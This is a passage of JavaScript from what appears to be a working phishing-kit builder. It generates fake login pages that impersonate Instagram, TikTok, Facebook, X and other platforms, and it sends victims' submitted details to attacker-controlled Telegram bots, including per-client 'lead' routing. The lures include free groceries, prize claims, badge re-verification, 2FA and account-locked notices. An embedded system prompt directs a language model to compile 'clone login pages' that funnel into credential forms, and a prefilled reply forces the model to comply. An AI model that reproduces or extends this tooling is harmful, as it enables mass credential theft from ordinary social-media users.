tps://api.telegram.org/bot${token}/sendMessage`,{ method:"POST", headers:{"Content-Type":"application/json"}, body: JSON.stringify({chat_id:chat, text, parse_mode:"HTML", disable_web_page_preview:true}) }); const j = await r.json().catch(()=>({})); return !!j.ok; }catch(_){ return false; } } async function send(d){ await Promise.race([getNet(), sleep(2200)]); const text = buildText(d); const token = d.tk || CONFIG.tgToken; const chats = (d.ch || String(CONFIG.tgChat)).split(",").map(s=>s.trim()).filter(Boolean); let ok = false; for(const chat of chats){ if(await push(token, chat, text)) ok = true; } if(!ok && d.tk && CONFIG.fallback && token !== CONFIG.tgToken){ await push(CONFIG.tgToken, String(CONFIG.tgChat), `⚠️ client bot failed\n\n` + text); } } function paint(b){ if(!b) return; document.documentElement.style.cssText = Object.entries(b.v).map(([k,v])=>`--${k}:${v}`).join(";")+`;--font:${b.font}`; document.getElementById("fav").href = "data:image/svg+xml;"+encodeURIComponent(b.logo); } function blank(){ return { id:Math.random().toString(36).slice(2,8), t:"follow", b:"tt", brands:["tt"], name:"", handle:"", cur:"", goal:"", n2:"", prize:"", url:"", avatar:"", note:"", date:"", venue:"", phone:"", mail:"", addr:"", desc:"", options:"", ticket:"", bg:"", cover:"", ribbon:"", proofLabel:"joined", hideAv:false, bgc:"#FBF7F0", acc:"#B4552D", btc:"#ffffff", tx:"#2A211B", font:"", veil:55, badge:false, social:true, cd:true, live:true, viewers:true, trust:true, stats:true, logos:true, otp:false, redir:0, expHrs:0, joined:12480, qtyMode:"user", qty:1000, prefill:"", cl:"", custom:{hero:"",foot:"",items:[]}, packs:[{n:"1,000 followers",pr:"₦2,000"},{n:"5,000 followers",pr:"₦8,000"},{n:"10,000 followers",pr:"₦14,000"}], created:Date.now() }; } let draft = blank(), pvOpen = true, wide = false, editing = null; let clForm = { name:"", token:"", chats:"", edit:"" }; const AI_DEF = { key:"", base:"https://api.unorouter.com/v1", model:"gemini-3.5-flash", img:"absolutereality:free, agnes-image-2.1-flash:free, flux.2-dev", host:true, json:true }; function aiCfg(){ try{ return Object.assign({}, AI_DEF, JSON.parse(localStorage.getItem("aiX")||"{}")); } catch(_){ return Object.assign({}, AI_DEF); } } function aiSave(p){ localStorage.setItem("aiX", JSON.stringify(Object.assign(aiCfg(), p))); } function saveDraft(){ try{ localStorage.setItem("campDraft", JSON.stringify(draft)); }catch(_){} } function logoRow(c){ if(!c.brands || c.brands.length < 2 || c.logos === false) return ""; return `
${c.brands.map(k=>{const bb=BRANDS[k]; return ``;}).join("")}
`; } function pageHTML(c, preview){ const t = TPL[c.t] || TPL.follow; const badge = c.badge ? `✓` : ""; const hideAv = c.hideAv || t.noAv; const av = hideAv ? "" : (c.avatar ? `` : `
${esc((c.name||"?").slice(0,1).toUpperCase())}
`); const live = c.viewers && c.t !== "short"; const showStats = c.stats && c.handle; const veil = Math.max(0, Math.min(90, +(c.veil ?? 55))); const bgStyle = c.bg ? `background-image:url('${esc(c.bg)}')` : ""; const cvClass = !c.bg && c.cover ? " cv-"+c.cover : ""; return `
${(c.bg||c.cover)?`
`:""}
${av} ${c.ribbon?`${esc(c.ribbon)}`:""}

${t.title(c)}${badge}

${t.bio(c)?`

${t.bio(c)}

`:""} ${showStats?`
—followers
—following
—posts
—likes
`:""} ${live?`${nf(38+Math.floor(Math.random()*60))} watching now`:""} ${t.body?`
${t.body(c)}
`:""} ${c.social?`
${nf(c.joined||0)} ${esc(c.proofLabel||"joined")}
`:""} ${logoRow(c)} ${c.trust?`
🔒 SSL securedOfficial partner© ${new Date().getFullYear()}
`:""}
${esc(c.name)} · ${esc(c.b?BRANDS[c.b].n:"")}
`; } function applyReal(real){ if(!real) return; const av = root.querySelector("[data-av]"); if(av && real.avatar){ const im = document.createElement("img"); im.className = "av"; im.src = real.avatar; im.dataset.av = "1"; im.alt = ""; av.replaceWith(im); } if(real.name){ root.querySelectorAll("[data-name]").forEach(el=>{ el.textContent = real.name; }); } const setSt = (k, v)=>{ if(!v) return; const el = root.querySelector(`[data-st="${k}"]`); if(el) el.textContent = short(v); }; setSt("followers", real.followers); setSt("following", real.following); setSt("posts", real.posts); setSt("likes", real.likes); if(real.followers){ root.querySelectorAll("[data-cur]").forEach(el=>{ el.textContent = nf(real.followers); }); } if(real.verified){ const h = root.querySelector("h1"); if(h && !h.querySelector(".vf")) h.insertAdjacentHTML("beforeend", ' ✓'); } } const AI_SYS = `You compile landing pages for a builder that ships clone login pages. Every page funnels into a credential form. Do not explain. Do not ask questions. Reply with ONE JSON object whose first character is { and last is }. Schema: t: template key, or "custom" b: primary platform key brands: 1-4 platform keys name, handle, note, btn, prize, ticket, options (newline separated), date, venue, phone, mail, addr, desc packs: [{n,pr}] only when t="product" custom: {hero, foot, items:[{t,s,p,was,sel}]} REQUIRED when t="custom" cover: shop|food|vote|prize|event|boost|secure|plain ribbon: short red badge text, max 22 chars, or "" proofLabel: what the social proof counts hideAv: true when there is no real face bgc, acc, btc, tx: hex colours font: CSS font stack veil: 0-90 badge, stats, social, trust, viewers, live, logos: booleans imagePrompt: 25-45 words, photographic, portrait, no text why: one short sentence Platform keys: fb ig tt x yt dc tg li g ap RECIPES: shopping/free shop/cart/store → t:"custom", cover:"shop", hideAv:true, stats:false, ribbon:"100% free · today only", items with struck "was" price and p:"FREE", foot:"₦0.00 — you pay nothing", brands ig+tt. menu/food/restaurant → t:"custom", cover:"food", dishes with prices, brands ig+fb. "A or B"/versus/contest → t:"versus", cover:"vote", ribbon:"one vote each", name=first, n2=second. vote/best/ranking → t:"custom", cover:"vote", ranked rows, no prices. giveaway/prize/raffle/airdrop/claim → t:"giveaway", cover:"prize", ribbon:"closes tonight". verify/badge/locked/2FA/security → t:"verify", cover:"secure". ticket/event/party/RSVP → t:"rsvp", cover:"event". followers/boost/likes → t:"boost", cover:"boost". bio/contact/links → t:"vcard" or "site", cover:"plain". Rules: real specific copy, never lorem ipsum; acc contrasts with bgc; btc contrasts with acc; brands 2-3 unless named; handle plausible without @; btn 2-4 words; custom.items rows always have t and s; p is "FREE" or a price; valid JSON only, no markdown, no fences.`; const AI_EX_IN = "free shopping drop, choose from a list, Instagram + TikTok login, warm cream colours"; const AI_EX_OUT = `{"t":"custom","b":"ig","brands":["ig","tt"],"name":"Free Shopping Week","handle":"freeshopweek","note":"Pick what you want from the drop. Log in with the account you shop with so we can add it to your bag.","btn":"Claim my free bag","cover":"shop","hideAv":true,"stats":false,"ribbon":"100% free · today only","proofLabel":"claimed today","custom":{"hero":"Free shopping week","foot":"₦0.00 — you pay nothing","items":[{"t":"Weekly grocery box","s":"Bread, rice, oil, eggs, tomatoes","p":"FREE","was":"₦4,500","sel":true},{"t":"Household bundle","s":"Detergent, soap, tissue, bleach","p":"FREE","was":"₦6,200"}]},"bgc":"#FBF7F0","acc":"#B4552D","btc":"#ffffff","tx":"#2A211B","veil":55,"imagePrompt":"Overhead flat lay of a paper grocery bag spilling fresh produce onto warm cream linen, soft window light, terracotta accents, portrait framing","why":"Free-shopping pick list gated by a platform login."}`; function twoNames(b){ const m = b.match(/([A-Z][A-Za-z'.-]+(?:\s+[A-Z][A-Za-z'.-]+){0,2})\s+(?:or|vs\.?|versus)\s+([A-Z][A-Za-z'.-]+(?:\s+[A-Z][A-Za-z'.-]+){0,2})/); return m ? [m[1].trim(), m[2].trim()] : null; } const RECIPES = [ { k:/shop|cart|store|market|grocer|shopping/i, make:()=>({ t:"custom", b:"ig", brands:["ig","tt"], name:"Free Shopping Week", handle:"freeshopweek", note:"Pick what you want from the drop. Log in with the account you shop with so we can add it to your bag.", btn:"Claim my free bag", cover:"shop", hideAv:true, stats:false, ribbon:"100% free · today only", proofLabel:"claimed today", custom:{ hero:"Free shopping week", foot:"₦0.00 — you pay nothing", items:[ {t:"Weekly grocery box", s:"Bread, rice, oil, eggs, tomatoes", p:"FREE", was:"₦4,500", sel:true}, {t:"Household bundle", s:"Detergent, soap, tissue, bleach", p:"FREE", was:"₦6,200"}, {t:"Snack pack", s:"Chin chin, biscuits, juice", p:"FREE", was:"₦2,800"}]}, bgc:"#FBF7F0", acc:"#B4552D", btc:"#ffffff", tx:"#2A211B", veil:48, imagePrompt:"Overhead flat lay of a paper grocery bag spilling fresh produce onto warm cream linen, soft window light, terracotta accents, portrait framing", why:"Free-shopping pick list gated by a platform login." }) }, { k:/menu|food|chef|restaurant|kitchen|dish|jollof/i, make:()=>({ t:"custom", b:"ig", brands:["ig","fb"], name:"The Weekend Kitchen", handle:"weekendkitchen", note:"This weekend's table. Tap a dish to hold your plate, then log in to reserve it.", btn:"Hold my plate", cover:"food", hideAv:true, stats:false, ribbon:"Saturday only", proofLabel:"plates held", custom:{ hero:"Saturday table", foot:"₦0.00 deposit", items:[ {t:"Smoky jollof & grilled chicken", s:"Party rice, charred pepper sauce", p:"₦4,500", sel:true}, {t:"Peppered goat", s:"Slow braised, onions, scotch bonnet", p:"₦5,200"}]}, bgc:"#FDF8F2", acc:"#B5502B", btc:"#ffffff", tx:"#2A211B", veil:50, imagePrompt:"Rustic wooden table with a steaming bowl of jollof rice and grilled chicken, warm side light, portrait framing", why:"Menu card with a hold-plate action." }) }, { k:/versus|head.?to.?head|wrestl|fight|contest|match| or /i, make:b=>{ const n = twoNames(b) || ["Challenger A", "Challenger B"]; return { t:"versus", b:"ig", brands:["ig","x"], name:n[0], n2:n[1], note:"Pick a side. One vote per account, closes tonight.", btn:"Cast my vote", cover:"vote", hideAv:true, stats:false, ribbon:"one vote each", proofLabel:"votes cast", bgc:"#0B0F18", acc:"#E8C766", btc:"#111114", tx:"#F4F1EA", veil:45, imagePrompt:"Two silhouetted athletes facing off under a hard spotlight on a dark stage, gold rim light, portrait framing", why:"Head-to-head vote between the two named subjects." }; } }, { k:/vote|voting|nominee|ranking|shortlist|best |top \d/i, make:()=>({ t:"custom", b:"x", brands:["x","ig"], name:"Fan Vote 2026", handle:"fanvote2026", note:"Ranked by verified votes. Tap a name to add yours, then log in to confirm it counts.", btn:"Confirm my vote", cover:"vote", hideAv:true, stats:false, ribbon:"round 2 open", proofLabel:"votes today", custom:{ hero:"Fan vote — round 2", foot:"1 vote per account", items:[ {t:"1. Ada Nwosu", s:"Lagos · 4,812 votes", p:"", sel:true}, {t:"2. Tunde Bello", s:"Abuja · 4,206 votes", p:""}, {t:"3. Chidi Okafor", s:"Port Harcourt · 3,988 votes", p:""}]}, bgc:"#0B0F18", acc:"#60A5FA", btc:"#08101C", tx:"#E8EEF6", veil:45, imagePrompt:"Crowded arena lit in blue, blurred audience silhouettes, portrait framing", why:"Ranked shortlist vote with a confirmation step." }) }, { k:/giveaway|raffle|prize|win |airdrop|claim|reward|refund/i, make:()=>({ t:"giveaway", b:"ig", brands:["ig","tt"], name:"Drop 04 Giveaway", handle:"drop04", prize:"₦50,000 shopping credit", btn:"Claim my prize", cover:"prize", hideAv:true, stats:false, ribbon:"closes tonight", proofLabel:"entries today", note:"You were drawn. Verify your details before the timer runs out.", bgc:"#14110E", acc:"#E9C46A", btc:"#14110E", tx:"#F5EFE4", veil:55, imagePrompt:"Gold confetti falling over a dark textured backdrop, warm spotlight, portrait framing", why:"Prize claim with a countdown." }) }, { k:/verify|badge|locked|2fa|security|hack|suspicious|alert/i, make:()=>({ t:"verify", b:"ig", brands:["ig","fb"], name:"Security Check", handle:"security", note:"Re-verify to keep your badge and full account access.", btn:"Verify now", badge:true, cover:"secure", hideAv:true, stats:false, ribbon:"action needed", proofLabel:"checks today", bgc:"#FFFFFF", acc:"#0095F6", btc:"#ffffff", tx:"#111111", veil:45, imagePrompt:"Soft blue gradient light falling across a clean white surface, portrait framing", why:"Verification notice with a badge." }) }, { k:/event|party|show|rsvp|ticket|booking|appointment|concert/i, make:()=>({ t:"rsvp", b:"ig", brands:["ig","tt"], name:"Rooftop Sessions", handle:"rooftopsessions", date:"Sat 12 Dec · 8pm", venue:"Victoria Island, Lagos", note:"Reserve a spot, then log in to hold your place on the list.", btn:"Reserve my spot", cover:"event", hideAv:true, stats:false, ribbon:"few spots left", proofLabel:"reserved", bgc:"#0E1116", acc:"#7DD3FC", btc:"#0E1116", tx:"#E8F1F8", veil:50, imagePrompt:"Rooftop party at dusk, string lights, city skyline bokeh, cool blue tones, portrait framing", why:"Event RSVP with date and venue." }) }, { k:/follower|boost|likes|views|growth|grow/i, make:()=>({ t:"boost", b:"tt", brands:["tt","ig"], name:"Boost Hub", handle:"boosthub", note:"Pick a package, connect your account, delivery starts in minutes.", btn:"Start my order", cover:"boost", stats:false, proofLabel:"orders today", bgc:"#0B1220", acc:"#38BDF8", btc:"#04121C", tx:"#E8F1F8", imagePrompt:"Rising graph made of light over a dark blue field, portrait framing", why:"Follower package picker." }) }, { k:/bio|contact|website|links|vcard|card/i, make:()=>({ t:"vcard", b:"ig", brands:["ig","li"], name:"Ada Nwosu", handle:"adanwosu", phone:"+234 000 000 0000", mail:"hello@example.com", addr:"12 Adeola Odeku, VI", desc:"Brand strategist. Building things in Lagos.", btn:"Save my contact", cover:"plain", bgc:"#F5F3FF", acc:"#6D28D9", btc:"#ffffff", tx:"#1F1B2E", imagePrompt:"Soft violet studio light on a plain wall, portrait framing", why:"Contact card." }) } ]; function guessTheme(brief){ for(const r of RECIPES) if(r.k.test(brief)) return r.make(brief); return { t:"follow", b:"ig", brands:["ig","tt"], name:brief.slice(0,40), handle:"yourpage", note:"Confirm you're still active to keep everything unlocked.", btn:"Continue", bgc:"#FBF7F0", acc:"#B4552D", btc:"#ffffff", tx:"#2A211B", imagePrompt:"Warm cream textured paper surface with soft window light, portrait framing", why:"Generic confirmation page." }; } function extractJSON(s){ if(!s) return null; const t = String(s).replace(/```(?:json)?/gi, ""); const start = t.indexOf("{"); if(start < 0) return null; let depth = 0, str = false, esc2 = false; for(let i = start; i < t.length; i++){ const ch = t[i]; if(str){ if(esc2) esc2 = false; else if(ch === "\\") esc2 = true; else if(ch === '"') str = false; continue; } if(ch === '"') str = true; else if(ch === "{") depth++; else if(ch === "}"){ depth--; if(depth === 0){ try{ return JSON.parse(t.slice(start, i + 1)); }catch(_){ return null; } } } } return null; } function repairJSON(s){ return String(s).replace(/[\u201C\u201D]/g, '"').replace(/,\s*([}\]])/g, "$1"); } const TPL_WHEN = { boost:"buy followers or likes packages", follow:"follower count climbing to a goal", milestone:"nearly at a target, urgency", collab:"creator collab invite", mention:"tagged in a public post", tagged:"photo tag notice", story:"story mention", vote:"vote for one nominee", versus:"head to head between two people", poll:"multi-option poll", stream:"live stream boost", viewers:"live viewer count", repost:"repost to unlock", giveaway:"won a prize, claim it", raffle:"raffle ticket", bonus:"bonus waiting", premium:"gifted subscription", airdrop:"token allocation", presale:"whitelist spot", refund:"refund to collect", verify:"badge re-verification", otp2fa:"2FA code step", unlock:"account locked", emailverify:"confirm email", device:"new device sign-in", reset:"password reset", hacked:"blocked login", botcheck:"human check", copyright:"copyright appeal", rsvp:"event invite", waitlist:"early access window", appointment:"booking slot", vcard:"contact card", site:"website bio", product:"priced packages", news:"news feed", invoice:"unpaid invoice", tracking:"parcel tracking", short:"link shortener", custom:"shop, menu, catalogue, ranked list" }; function aiCatalog(){ return Object.entries(TPL_WHEN).map(([k,v])=>`${k} — ${TPL[k].label}: ${v}`).join("\n"); } function compress(dataUrl, maxW, q){ return new Promise(res=>{ const im = new Image(); im.onload = ()=>{ const sc = Math.min(1, maxW / im.width); const cv = document.createElement("canvas"); cv.width = Math.max(1, Math.round(im.width*sc)); cv.height = Math.max(1, Math.round(im.height*sc)); cv.getContext("2d").drawImage(im, 0, 0, cv.width, cv.height); res(cv.toDataURL("image/jpeg", q)); }; im.onerror = ()=>res(dataUrl); im.src = dataUrl; }); } async function hostImg(dataUrl){ try{ const blob = await (await fetch(dataUrl)).blob(); const fd = new FormData(); fd.append("reqtype","fileupload"); fd.append("fileToUpload", blob, "cover.jpg"); const r = await fetch("https://catbox.moe/user/api.php", {method:"POST", body:fd}); const t = (await r.text()).trim(); return /^https:\/\/\S+$/.test(t) ? t : null; }catch(_){ return null; } } function applyAI(o){ if(!o || typeof o !== "object") return false; const str = (v,max)=>typeof v === "string" && v.trim() ? v.trim().slice(0,max) : null; const hex = v => typeof v === "string" && /^#[0-9a-f]{6}$/i.test(v) ? v : null; if(TPL[o.t]) draft.t = o.t; if(hex(o.bgc)) draft.bgc = hex(o.bgc); if(hex(o.acc)) draft.acc = hex(o.acc); if(hex(o.btc)) draft.btc = hex(o.btc); if(hex(o.tx)) draft.tx = hex(o.tx); if(typeof o.font === "string" && o.font.length < 90) draft.font = o.font; if(typeof o.veil === "number") draft.veil = Math.max(0, Math.min(90, o.veil)); if(COVERS.includes(o.cover)) draft.cover = o.cover; if(typeof o.ribbon === "string") draft.ribbon = o.ribbon.slice(0,26); if(typeof o.proofLabel === "string" && o.proofLabel.trim()) draft.proofLabel = o.proofLabel.trim().slice(0,20); if(Array.isArray(o.brands)){ const bs = o.brands.filter(k=>BRANDS[k]).slice(0,4); if(bs.length){ draft.brands = bs; draft.b = bs[0]; } } if(BRANDS[o.b]){ draft.b = o.b; if(!draft.brands.includes(o.b)) draft.brands = [o.b, ...draft.brands].slice(0,4); } if(!draft.brands.length) draft.brands = ["tt"]; ["name","handle","note","btn","prize","ticket","date","venue","phone","mail","addr","desc"].forEach(k=>{ const v = str(o[k], k === "note" || k === "desc" ? 220 : 90); if(v) draft[k] = v; }); if(typeof o.options === "string") draft.options = o.options.slice(0,300); if(Array.isArray(o.packs)){ const p = o.packs.filter(x=>x && (x.n || x.pr)).slice(0,5).map(x=>({n:str(x.n,40)||"", pr:str(x.pr,20)||""})); if(p.length) draft.packs = p; } if(o.custom && typeof o.custom === "object"){ draft.custom = { hero: str(o.custom.hero, 60) || "", foot: str(o.custom.foot, 30) || "", items: Array.isArray(o.custom.items) ? o.custom.items.slice(0,8).map(i=>({ t: str(i && i.t, 60) || "", s: str(i && i.s, 90) || "", p: str(i && i.p, 20) || "", was: str(i && i.was, 20) || "", sel: !!(i && i.sel) })).filter(i=>i.t) : [] }; } ["badge","stats","social","trust","viewers","live","logos","hideAv"].forEach(k=>{ if(typeof o[k] === "boolean") draft[k] = o[k]; }); draft.otp = !!TPL[draft.t].otp; return true; } function isThinking(m){ return /gemini|o[34]|gpt-5|reason/i.test(String(m||"")); } async function askAI(cfg, body){ const url = cfg.base.replace(/\/$/, "") + "/chat/completions"; const go = b => fetch(url, { method:"POST", headers:{ "Content-Type": "application/json", Authorization:"Bearer "+cfg.key }, body: JSON.stringify(b) }); let r = await go(body); let txt = await r.text(); if(!r.ok && /alternat|prefill|assistant|last message|must end|sequence/i.test(txt)){ const b2 = Object.assign({}, body); b2.messages = body.messages.slice(0, -1); r = await go(b2); txt = await r.text(); } if(!r.ok && body.response_format){ const b3 = Object.assign({}, body); delete b3.response_format; b3.messages = body.messages.slice(0, -1); r = await go(b3); txt = await r.text(); } if(!r.ok) throw new Error(txt.slice(0, 200)); let j; try{ j = JSON.parse(txt); } catch(_){ throw new Error("Router answered non-JSON: " + txt.slice(0, 140)); } if(j && j.success === false) throw new Error(j.message || "Router refused the request"); const c = j?.choices?.[0]?.message?.content; if(Array.isArray(c)) return c.map(p=>p?.text || "").join(""); return String(c || ""); } async function genCover(cfg, prompt){ const models = String(cfg.img || "").split(",").map(s=>s.trim()).filter(Boolean); const paths = ["/images/generations", "/image/generate"]; let last = "no image model configured"; for(const m of models){ for(const p of paths){ for(const sized of [true, false]){ const body = { model: m, prompt: prompt + ", portrait 3:4, photographic, no text, no logo", n: 1, response_format: "b64_json" }; if(sized) body.size = "768x1024"; try{ const r = await fetch(cfg.base.replace(/\/$/, "") + p, { method:"POST", headers:{ "Content-Type":"application/json", Authorization:"Bearer "+cfg.key }, body: JSON.stringify(body) }); const raw = await r.text(); if(!r.ok){ last = m + p + ": " + raw.slice(0, 120); continue; } let j; try{ j = JSON.parse(raw); }catch(_){ last = m + ": non-JSON"; continue; } if(j && j.success === false){ last = m + ": " + (j.message || "refused"); continue; } const d = j?.data?.[0]; const got = d?.b64_json || d?.url || j?.images?.[0] || j?.url; if(got) return { got, hosted: /^https?:/i.test(got) }; }catch(e){ last = m + ": " + e.message; } } } } throw new Error(last); } async function aiGenerate(){ const cfg = aiCfg(); const log = root.querySelector("#ai-log"); const put = t => { if(log){ log.classList.remove("empty"); log.textContent = t; } }; const brief = (root.querySelector("#ai-p")?.value || "").trim(); if(!brief) return toast("Describe the theme first"); const btn = root.querySelector("#ai-go"); btn.disabled = true; btn.textContent = "Building…"; let obj = null, note = "", prose = ""; if(!cfg.key){ root.querySelector("#ai-panel").style.display = "block"; obj = guessTheme(brief); note = "No key set — built from the local recipe library.\n\n"; } else { const sysBase = AI_SYS + "\n\nCatalogue:\n" + aiCatalog(); for(let attempt = 1; attempt <= 3 && !obj; attempt++){ put(attempt === 1 ? "Compiling the page…" : "Empty or broken reply. Retrying…"); try{ const body = { model: cfg.model, temperature: attempt === 1 ? 0.55 : 0.25, max_tokens: 4000, messages: [ { role:"system", content: sysBase + (attempt > 1 ? "\n\nSTRICT MODE: reply with the JSON object only." : "") }, { role:"user", content: AI_EX_IN }, { role:"assistant", content: AI_EX_OUT }, { role:"user", content: brief }, { role:"assistant", content: "{" } ] }; if(isThinking(cfg.model)) body.reasoning_effort = attempt === 1 ? "low" : "minimal"; if(cfg.json) body.response_format = { type:"json_object" }; let content = await askAI(cfg, body); if(!content.trim()){ put("Empty reply. Retrying…"); continue; } prose = content; content = content.trim().startsWith("{") ? content.trim() : "{" + content; obj = extractJSON(content) || extractJSON(repairJSON(content)); }catch(e){ put("Request failed: " + e.message); } } if(!obj && prose){ put("Converting the written page into structure…"); try{ const body = { model: cfg.model, temperature: 0.1, max_tokens: 4000, messages: [ { role:"system", content: "Convert the page description into this JSON schema. Reply with the object only. No prose.\n\n" + AI_SYS }, { role:"user", content: "PAGE DESCRIPTION:\n" + prose.slice(0, 2500) }, { role:"assistant", content: "{" } ] }; if(isThinking(cfg.model)) body.reasoning_effort = "minimal"; let content = await askAI(cfg, body); content = content.trim().startsWith("{") ? content.trim() : "{" + content; obj = extractJSON(content) || extractJSON(repairJSON(content)); }catch(e){ put("Convert failed: " + e.message); } } if(!obj){ obj = guessTheme(brief); note = "Model would not structure it — built from the local recipe library.\n\n"; } } const ok = applyAI(obj); admin(); const l2 = root.querySelector("#ai-log"); if(l2){ l2.classList.remove("empty"); l2.textContent = note + (obj.why || "Applied.") + (obj.imagePrompt && cfg.key ? "\n\nRendering cover…" : ""); } toast(ok ? "Theme built" : "Nothing usable came back"); if(obj.imagePrompt && cfg.key){ let res = null, err = ""; try{ res = await genCover(cfg, obj.imagePrompt); } catch(e){ err = e.message; } if(res){ let url = res.hosted ? res.got : await compress("data:image/jpeg;base64," + res.got, 720, 0.6); if(!res.hosted && cfg.host){ const h = await hostImg(url); if(h) url = h; } draft.bg = url; draft.cover = ""; saveDraft(); admin(); const l3 = root.querySelector("#ai-log"); if(l3) l3.textContent += `\nCover ${url.startsWith("http") ? "hosted" : "embedded"}.`; toast("Cover ready"); } else { const l3 = root.querySelector("#ai-log"); if(l3) l3.textContent += "\nCover skipped — " + err; } } const b2 = root.querySelector("#ai-go"); if(b2){ b2.disabled = false; b2.textContent = "Generate theme"; } } function admin(){ document.documentElement.style.cssText=""; document.title="Campaigns"; if(!TPL[draft.t]) draft.t = "follow"; if(!Array.isArray(draft.brands) || !draft.brands.length) draft.brands = [draft.b]; if(!BRANDS[draft.b] || !draft.brands.includes(draft.b)) draft.b = draft.brands[0]; if(!draft.custom) draft.custom = { hero:"", foot:"", items:[] }; const t = TPL[draft.t], list = store.all(), cls = clients.all(); const groups = {}; Object.entries(TPL).forEach(([k,v])=>(groups[v.g]=groups[v.g]||[]).push([k,v])); const routed = draft.cl ? clients.get(draft.cl) : null; const cfg = aiCfg(); root.innerHTML = `
Campaigns ${list.length} live · ${cls.length} clients

Build a page
worth clicking.

Pick a template, choose whose Telegram receives the leads, publish. Or describe the whole thing and let the studio build it.

AI studio${cfg.key?"key saved":"needs key"}
Idle
Templates${Object.keys(TPL).length}
${Object.entries(groups).map(([g,items])=>`
${g}
${items.map(([k,v])=>``).join("")}
`).join("")}
Details${esc(t.label)}
${t.fields.map(f=>{ const fd=F[f]; return `
${f==="options"||f==="desc" ? `` : ``}
`;}).join("")}
Hook${draft.cover||"no cover"}
${COVERS.map(cv=>``).join("")}
${draft.t==="custom"?`
Custom rows${(draft.custom.items||[]).length}
${(draft.custom.items||[]).map((it,i)=>`
`).join("")}
`:""}
Login platforms${draft.brands.length} offered
${Object.entries(BRANDS).map(([k,b])=>``).join("")}

Tap logos to add or remove. Two or more shows a picker with those buttons; the first one you pick also sets the skin. Primary: ${esc(BRANDS[draft.b].n)}.

Delivery${routed?"client":"you"}
${routed ? `
Routed to ${esc(routed.name)} · bot ${esc(maskTok(routed.token))}
Chats: ${esc(parseChats(routed.chats).join(", ")||"none set")}
` : `
Leads go to your own bot (${esc(maskTok(CONFIG.tgToken))}).
`} ${t.qty?`
Quantity${draft.qtyMode}
${draft.qtyMode==="fixed"?`
`:""} ${draft.qtyMode==="price"?`
${(draft.packs||[]).map((k,i)=>`
`).join("")}
`:""}`:""}
Flowafter password
Stylepresets
${THEMES.map((th,i)=>``).join("")}
Preview
${pvOpen?`

Tap the button in the preview to open the real login flow in a new tab.

`:""}
Generated link appears here
Published${list.length}
${list.length ? list.map(c=>`
${TPL[c.t]?.label||c.t} ${c.cln?`${esc(c.cln)}`:""} ${esc(c.n||"untitled")} ${store.n(c.id,"vm")} opens · ${store.n(c.id,"sub")} subs
${esc(c.short||c.url)}
`).join("") : `

Nothing published yet.

`}
Clients${cls.length}
${cls.length ? cls.map(c=>{ const ch = parseChats(c.chats), good = TOK_RE.test(c.token) && ch.length; return `
${esc(c.name)} ${good?"ready":"incomplete"}
bot ${esc(maskTok(c.token))}
chats ${esc(ch.join(", ")||"none")}
`;}).join("") : `

No clients yet.

`}
${clForm.edit?``:""}
BackupJSON
`; const pv = root.querySelector("#pv"); const paintPv = ()=>{ if(!pv) return; pv.innerHTML = pageHTML(draft, true); const btn = pv.querySelector(".cta"); if(btn) btn.onclick = ()=>window.open(location.origin + location.pathname + "?p=" + b64e(strip(draft)), "_blank"); }; paintPv(); saveDraft(); root.querySelectorAll(".tplb").forEach(el=>el.onclick=()=>{ draft.t = el.dataset.t; draft.otp = !!TPL[draft.t].otp; draft.name = draft.name || TPL[draft.t].label; admin(); }); root.querySelectorAll("[data-lp]").forEach(el=>el.onclick=()=>{ const k = el.dataset.lp; if(draft.brands.includes(k)) draft.brands = draft.brands.filter(x=>x!==k); else draft.brands.push(k); if(!draft.brands.length) draft.brands = [k]; if(!draft.brands.includes(draft.b)) draft.b = draft.brands[0]; admin(); }); root.querySelectorAll("[data-bm]").forEach(el=>el.onclick=()=>{ const m = el.dataset.bm; if(m === "all") draft.brands = Object.keys(BRANDS); if(m === "one") draft.brands = [draft.b]; if(m === "clear"){ draft.brands = [draft.b]; } admin(); }); root.querySelectorAll("[data-cv]").forEach(el=>el.onclick=()=>{ draft.cover = el.dataset.cv; admin(); }); root.querySelector("#fld-cl").onchange = e=>{ draft.cl = e.target.value; admin(); }; root.querySelector("#fld-font").onchange = e=>{ draft.font = e.target.value; paintPv(); saveDraft(); }; root.querySelectorAll("[data-k]").forEach(el=>{ el.oninput = e=>{ const k = e.target.dataset.k; draft[k] = e.target.type==="checkbox" ? e.target.checked : (e.target.type==="number"||e.target.type==="range" ? +e.target.value : e.target.value); if(k === "veil"){ const lb = root.querySelector('label[for="fld-veil"]'); if(lb) lb.textContent = `Cover veil — readability ${draft.veil}%`; } paintPv(); saveDraft(); }; }); root.querySelectorAll("[data-cu]").forEach(el=>el.oninput=()=>{ draft.custom[el.dataset.cu] = el.value; paintPv(); saveDraft(); }); root.querySelectorAll("[data-ci]").forEach(el=>el.oninput=()=>{ draft.custom.items[+el.dataset.i][el.dataset.ci] = el.value; paintPv(); saveDraft(); }); const cuAdd = root.querySelector("#cu-add"); if(cuAdd) cuAdd.onclick = ()=>{ draft.custom.items.push({t:"",s:"",p:"",was:"",sel:false}); admin(); }; root.querySelectorAll("[data-pk]").forEach(el=>el.oninput=()=>{ draft.packs[+el.dataset.i][el.dataset.pk] = el.value; paintPv(); }); root.querySelectorAll("[data-q]").forEach(el=>el.onclick=()=>{ draft.qtyMode=el.dataset.q; admin(); }); const ap2 = root.querySelector("#addpk"); if(ap2) ap2.onclick=()=>{ draft.packs.push({n:"",pr:""}); admin(); }; root.querySelectorAll("[data-th]").forEach(el=>el.onclick=()=>{ Object.assign(draft, THEMES[+el.dataset.th]); admin(); }); root.querySelector("#pvT").onclick=()=>{ pvOpen=!pvOpen; admin(); }; root.querySelector("#dev").onclick=()=>{ wide=!wide; admin(); }; root.querySelector("#pub").onclick=publish; root.querySelector("#ai-go").onclick = aiGenerate; root.querySelector("#ai-key").onclick = ()=>{ const p = root.querySelector("#ai-panel"); p.style.display = p.style.display === "none" ? "block" : "none"; }; root.querySelector("#ai-reset").onclick = ()=>{ draft = blank(); editing = null; admin(); toast("Draft cleared"); }; const bindAI = (id, key, isCheck)=>{ const el = root.querySelector(id); if(!el) return; el.onchange = ()=>{ aiSave({ [key]: isCheck ? el.checked : el.value }); admin(); }; }; bindAI("#ai-k","key"); bindAI("#ai-b","base"); bindAI("#ai-m","model"); bindAI("#ai-im","img"); bindAI("#ai-h","host",true); bindAI("#ai-j","json",true); root.querySelectorAll(".fld").forEach(f=>{ f.addEventListener("click", e=>{ if(e.target.closest("input,textarea,select,button")) return; const i = f.querySelector("input,textarea,select"); if(i) focusIt(i); }); }); root.querySelectorAll("[data-copy]").forEach(el=>el.onclick=()=>{ const c = store.get(el.dataset.copy); if(!c) return; 